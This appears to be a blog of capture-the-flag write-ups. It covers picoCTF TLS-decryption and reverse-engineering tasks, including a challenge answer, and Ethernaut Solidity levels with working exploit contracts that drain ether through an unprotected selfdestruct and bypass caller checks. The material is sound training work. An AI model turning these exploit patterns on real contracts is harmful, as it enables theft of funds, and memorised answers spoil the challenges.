28 Sep 2022
PicoCTF 2019 / Forensics
Description
We found this packet capture and key. Recover the flag.
Prereguisite
ssldump, which is an SSL/TLS network protocol analyzer.
Writeup
- Download packet capture and key.
ssldump -r capture.pcap -k picopico.key -d > output
vim output
- Search our flag.

28 Sep 2022
PicoCTF 2019 / Forensics
Description
We found this packet capture and key. Recover the flag.
Writeup
- Download packet capture and key.
- Use Wireshark to open packet capture.
- Prefrence > Protocal > TLS > RSA key list edit > add key we download.
- Analysis TLS stream.

Reference
Decrypting TLS Streams With Wireshark: Part 1
28 Sep 2022
PicoCTF 2022 / Reverse Engineering / binary /obfuscation
Writeup
- Download the file.
- We can use
file
command to check its type.
file bbbbloat
#bbbbloat: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=99c5c1ce06be240322c15bcabc3cd90318eb2003, for GNU/Linux 3.2.0, stripped
- Use IDA analysis its pseudocode. (View > Open subviews > Generate pseudocode)

- Execute file and answer 549255.

27 Sep 2022
Difficulty: 🌕🌕🌕🌑🌑
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001
ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.001
ether from the lost contract address.
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
Writeup
- Get new instance.
- Get level instance’s address.
instance
// '0x952282e64E0DE0618E337114AA315cE3eBb1351A'
- Go to etherscan search this address. We can see there’s a Contract Creation record, which we can click into and get our
SimpleToken
contract address.


- Create a new contract to exploit it!
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface ISimpleToken {
function destroy(address payable _to) external;
}
contract RecoveryExploit {
function withdraw() public {
ISimpleToken(YOUR_SIMPLETOKEN_ADDRESS).destroy(payable(msg.sender));
}
}
- Compile and deploy.
- Call the
withdraw
method in RecoveryExploit
contract. SimpleToken
contract will self-destruct and all remaining ether will be sent to msg.sender
.
- Submit instance ξ( ✿>◡❛)
27 Sep 2022
Difficulty: 🌕🌕🌕🌑🌑
This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:
- Remember what you’ve learned from getting past the first gatekeeper - the first gate is the same.
- The
assembly
keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize
call in this gate will get the size of a contract’s code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
- The
^
character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
Writeup
There are three gates we need to pass.
- Gate one : Using the contract to call the method.
msg.sender
will be the contract address and tx.origin
will be my account address.
- Gate two : When contract is being created, code size (extcodesize) is 0. Write all code in
constructor()
to pass the check. To learn more detail, you can visit this website.
- Gate three : If a ^ b = c then c ^ a = b . We can use this logic to derive the value of
_gateKey
. To learn more detail, you can visit this website.
- Get new instance.
- Create a new contract.
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperTwoExploiter {
constructor() {
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1 );
IGatekeeperTwo(YOUR_INSTANCE_ADDRESS).enter(key);
}
}
}
- Compile and deploy.
- Submit instance ξ( ✿>◡❛)